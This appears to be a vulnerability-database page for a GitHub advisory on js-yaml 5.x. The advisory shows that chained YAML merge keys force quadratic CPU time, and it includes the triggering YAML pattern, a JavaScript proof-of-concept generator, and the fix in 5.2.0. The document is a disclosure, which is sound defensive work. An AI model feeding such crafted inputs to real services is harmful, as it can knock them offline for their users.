GHSA-G796-FGMG-93MV

Vulnerability from github – Published: 2026-07-20 21:19 – Updated: 2026-07-20 21:19
VLAI
Summary
js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml
Details

Impact

This is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default

When merge keys (<<) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:

a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aN

For each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.

PoC

From N = 4000 delay become > 1s (doc size < 100K)

import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = Number(process.argv[2] || 4000)

function makeMergeChain (count) {
  const lines = ['a0: &a0 { k0: 0 }']

  for (let i = 1; i < count; i++) {
    lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
  }

  lines.push(`b: *a${count - 1}`)
  return `${lines.join('\n')}\n`
}

const source = makeMergeChain(n)

console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)

const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started

console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)

Patches

Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.1.0"
      },
      "package": {
        "ecosystem": "npm",
        "name": "js-yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59868"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T21:19:27Z",
    "nvd_published_at": "2026-07-08T16:16:33Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThis is the same report as for v3/v4, but with lower severity, because in v5, merge is off by default\n\nWhen merge keys (`\u003c\u003c`) are enabled, js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:\n\n```yaml\na0: \u0026a0 { k0: 0 }\na1: \u0026a1 { \u003c\u003c: *a0, k1: 1 }\na2: \u0026a2 { \u003c\u003c: *a1, k2: 2 }\na3: \u0026a3 { \u003c\u003c: *a2, k3: 3 }\n...\nb: *aN\n```\n\nFor each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.\n\n### PoC\n\nFrom N = 4000 delay become \u003e 1s (doc size \u003c 100K)\n\n```js\nimport { performance } from \u0027node:perf_hooks\u0027\nimport { Buffer } from \u0027node:buffer\u0027\nimport { load, YAML11_SCHEMA } from \u0027js-yaml\u0027\n\nconst n = Number(process.argv[2] || 4000)\n\nfunction makeMergeChain (count) {\n  const lines = [\u0027a0: \u0026a0 { k0: 0 }\u0027]\n\n  for (let i = 1; i \u003c count; i++) {\n    lines.push(`a${i}: \u0026a${i} { \u003c\u003c: *a${i - 1}, k${i}: ${i} }`)\n  }\n\n  lines.push(`b: *a${count - 1}`)\n  return `${lines.join(\u0027\\n\u0027)}\\n`\n}\n\nconst source = makeMergeChain(n)\n\nconsole.log(source.split(\u0027\\n\u0027).slice(0, 8).join(\u0027\\n\u0027))\nconsole.log(\u0027...\u0027)\nconsole.log(source.split(\u0027\\n\u0027).slice(-4).join(\u0027\\n\u0027))\nconsole.log()\nconsole.log(`N: ${n}`)\nconsole.log(`YAML size: ${Buffer.byteLength(source)} bytes`)\n\nconst started = performance.now()\nconst result = load(source, { schema: YAML11_SCHEMA })\nconst elapsed = performance.now() - started\n\nconsole.log(`parse time: ${elapsed.toFixed(1)} ms`)\nconsole.log(`top-level keys: ${Object.keys(result).length}`)\nconsole.log(`b keys: ${Object.keys(result.b).length}`)\n```\n\n### Patches\n\nFix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.",
  "id": "GHSA-g796-fgmg-93mv",
  "modified": "2026-07-20T21:19:27Z",
  "published": "2026-07-20T21:19:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/security/advisories/GHSA-g796-fgmg-93mv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59868"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/commit/3105455b81dee69e0fd36e09ac0b2ccfdb54adc1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nodeca/js-yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nodeca/js-yaml/releases/tag/5.2.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "js-yaml: YAML merge-key chains can force quadratic CPU consumption in js-yaml"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…